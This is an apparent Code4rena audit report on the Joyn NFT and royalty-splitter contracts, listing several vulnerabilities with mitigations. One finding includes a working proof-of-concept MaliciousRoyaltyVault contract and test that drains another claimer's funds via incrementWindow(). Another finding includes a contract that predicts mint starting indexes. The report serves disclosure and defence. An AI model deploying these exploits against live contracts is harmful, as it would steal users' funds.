Joyn contest - hickuphh3's results

Lines of code

https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/ERC721Payable.sol#L54

Vulnerability details

Details

The transferFrom() function returns a boolean value indicating success. This parameter needs to be checked to see if the transfer has been successful. Oddly, transfer() function calls were checked.

Some tokens like EURS and BAT will not revert if the transfer failed but return false instead. Tokens that don't actually perform the transfer and return false are still counted as a correct transfer.

Impact

Users would be able to mint NFTs for free regardless of mint fee if tokens that don’t revert on failed transfers were used.

Recommended Mitigation Steps

Check the success boolean of all transferFrom() calls. Alternatively, use OZ’s SafeERC20’s safeTransferFrom() function.

Lines of code

https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L149-L169

Vulnerability details

Impact

The incrementWindow() can be exploited such that it allows a valid claimer to drain funds from the splitter and royalty vault.

Details

require(
  IRoyaltyVault(msg.sender).getSplitter() == address(this),
  "Unauthorised to increment window"
);

means that the caller is authorized as long as it implements a getSplitter() function that returns the splitter proxy address.

wethBalance = IERC20(splitAsset).balanceOf(address(this));
require(wethBalance >= royaltyAmount, "Insufficient funds");

assumes that the funds have been transferred such that the contract’s balance exceeds the royalty amount, which isn’t necessarily the case as the contract will have funds accumulated from previous rounds.

An attacker can therefore create a malicious royalty vault that exploits the incrementWindow() function for his benefit.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface ISplitter {
  function incrementWindow(uint256 royaltyAmount) external returns (bool);
}

interface IRoyaltyVault {
  function royaltyAsset() external view returns (address);

  function getSplitter() external view returns (address);

  function getVaultBalance() external view returns (uint256);

  function sendToSplitter() external;
}

contract MaliciousRoyaltyVault {
  address private splitter;

  function supportsInterface(bytes4 interfaceId)
    external
    pure
    returns (bool)
  {
    return true;
  }

  function getSplitter() external view returns (address) {
    return splitter;
  }

  function exploit(IRoyaltyVault vault, uint numIterations) external {
    splitter = vault.getSplitter();
    if (vault.getVaultBalance() > 0) {
      vault.sendToSplitter();
    }
    // numIterations depends on attacker's or this contract's scaledPercentage
    uint i;
    for (i; i < numIterations; ++i) {
      ISplitter(splitter).incrementWindow(IERC20(vault.royaltyAsset()).balanceOf(splitter));
    }
    // if this contract was added as claimer, can call claimForAllWindows() directly
    // otherwise, use flashbots to bundle with a claimForAllWindows() call
  }
}

Add this scenario test anywhere in the "when there is a 50-50 allocation" section.

1. Assume royaltyVaultProxy holds 1 ETH. 10% will be charged as the platform fee, the remaining 0.9 ETH to be split among 2 eligible accounts
2. account2 should be able to only claim 0.45 ETH, but is able to claim account1's share as well

it.only("Will exploit royalty vault + splitter funds", async () => {
    await fakeWETH
    .connect(funder)
      .transfer(royaltyVaultProxy, ethers.utils.parseEther("1"));

    const maliciousRoyaltyVault = await ethers.getContractFactory("MaliciousRoyaltyVault");
    const myMaliciousRoyaltyVault = await maliciousRoyaltyVault.deploy();
    await myMaliciousRoyaltyVault.deployed();
    await myMaliciousRoyaltyVault.exploit(royaltyVaultProxyContract.address, 1);
    const account = account2.address;
    const allocation = BigNumber.from("5000");
    const proof = tree.getProof(account, allocation);
	
    await splitProxy
      .connect(account2)
      .claimForAllWindows(allocation, proof);
	
    const accountBalanceAfter = await fakeWETH.balanceOf(account);
    expect(await fakeWETH.balanceOf(splitProxy.address)).to.eq(0);
    // account should only get 0.45 WETH, but he got 0.9 instead
    expect(accountBalanceAfter.toString()).to.eq(
      ethers.utils.parseEther("0.90").toString()
    );
});

Recommended Mitigation Steps

The simplest fix is to pull funds from msg.sender.

require(royaltyAmount > 0, "No additional funds for window");
// assume use SafeERC20 for IERC20
IERC20(splitAsset).safeTransferFrom(msg.sender, address(this), royaltyAmount); 

Lines of code

https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L175

Vulnerability details

Details

The withdraw() function does

payableToken.transferFrom(address(this), msg.sender, amount);

but no allowance has been given by the core collection contract to msg.sender. Hence, attempted withdrawals will fail.

Impact

If the royalty vault hasn’t been sent and there is a non-zero NFT mint fee, collected funds will be permanently stuck in the core collection contract.

Proof of Concept

Add await coreCollection.connect(alice).withdraw(); to the referenced test below. The test also currently omits the await keyword in L714, making the test a false positive.

https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/test/CoreCollection.js#L713-L743

it.only('it should send 1 wETH to itself', async () => {
  // add await keyword
  await weth
    .connect(alice)
    .approve(
      coreCollection.address,
      ethers.utils.parseEther('1'),
    )
    .then(async () => {
      const tx = await coreCollection
        .connect(alice)
        .mintToken(
          mariaAddr,
          isClaim,
          1,
          mintAmount,
          mariasProof,
        );
      const receipt = await tx.wait();
      const events = findEvents({
        receipt,
        eventName: 'NewPayment',
      });
      expect(events.length).to.equal(1);
      const { from, to, amount, royaltyVault } =
        events[0].args;
      expect(from).to.equal(alice.address);
      expect(to).to.equal(coreCollection.address);
      expect(amount).to.equal(ethers.utils.parseEther('1'));
      expect(royaltyVault).to.not.be.ok;
    });
  await coreCollection.connect(alice).withdraw();
});

The test should revert with

Error: VM Exception while processing transaction: reverted with reason string 'ERC20: insufficient allowance'

Recommended Mitigation Steps

Change the function to safeTransfer() (using SafeERC20) instead.

payableToken.safeTransfer(msg.sender, amount);

Lines of code

https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/ERC721Payable.sol#L54-L55 https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L175-L176

Vulnerability details

Details & Impact

Tokens that are charge a fee on transfer will not work correctly if it is specified as a payment token for NFT mints or as a royalty asset.

• For NFT mints, the amount recorded by the NewPayment and NewWithdrawal events might not match the actual amounts paid / withdrawn
• The splitterShare and platformShare amounts recorded might not match the actual amounts sent. The claimable amount calculated in the Splitter contract would be higher than the actual amount, causing claims to fail

Recommended Mitigation Steps

Consider using the difference between the before and after balances as the actual amount.

Lines of code

https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L225-L229

Vulnerability details

Details & Impact

In Paradigm’s article “A Guide to Designing Effective NFT Launches”, one of the desirable properties of an NFT launch is unexploitable fairness: Launches must have true randomness to ensure that predatory users cannot snipe the rarest items at the expense of less sophisticated users.

It is therefore highly recommended to find a good source of entropy for the generation of the starting index. The block.number isn’t random at all; it only incrementally increases, allowing anyone to easily compute the starting indexes of the next 10,000 blocks for instance.

contract FortuneTeller {
  function predictStartingIndexes(uint256 maxSupply, uint256 numBlocks) 
    external
    view
    returns 
    (uint256[] memory startingIndexes) {
    startingIndexes = new uint[](numBlocks);
    for (uint256 i = 0; i < numBlocks; ++i) {
        startingIndexes[i] = (uint256(
            keccak256(abi.encodePacked("CoreCollection", block.number + i))
        ) % maxSupply) +
        1;
    }
  }
}

Coupled with the fact that the _baseUri is set upon initialization, the metadata could be scrapped beforehand to determine the rare NFTs.

Thus, NFT mints can be gamed / exploited.

Recommended Mitigation Steps

Consider exploring the use of commit-reveal schemes (eg. blockhash of a future block, less gameable but not foolproof) or VRFs.

Lines of code

https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L14 https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L103

Vulnerability details

Details & Impact

There is a PERCENTAGE_SCALE = 10e5 defined, but the actual denominator used is 10000. This is aggravated by the following factors:

1. Split contracts are created by collection owners, not the factory owner. Hence, there is a likelihood for someone to mistakenly use PERCENTAGE_SCALE instead of 10000.
2. The merkle root for split distribution can only be set once, and a collection’s split and royalty vault can’t be changed once created.

Thus, if an incorrect denominator is used, the calculated claimable amount could exceed the actual available funds in the contract, causing claims to fail and funds to be permanently locked.

Recommended Mitigation Steps

Remove PERCENTAGE_SCALE because it is unused, or replace its value with 10_000 and use that instead.

P.S: there is an issue with the example scaled percentage given for platform fees (5% = 200). Should be 500 instead of 200.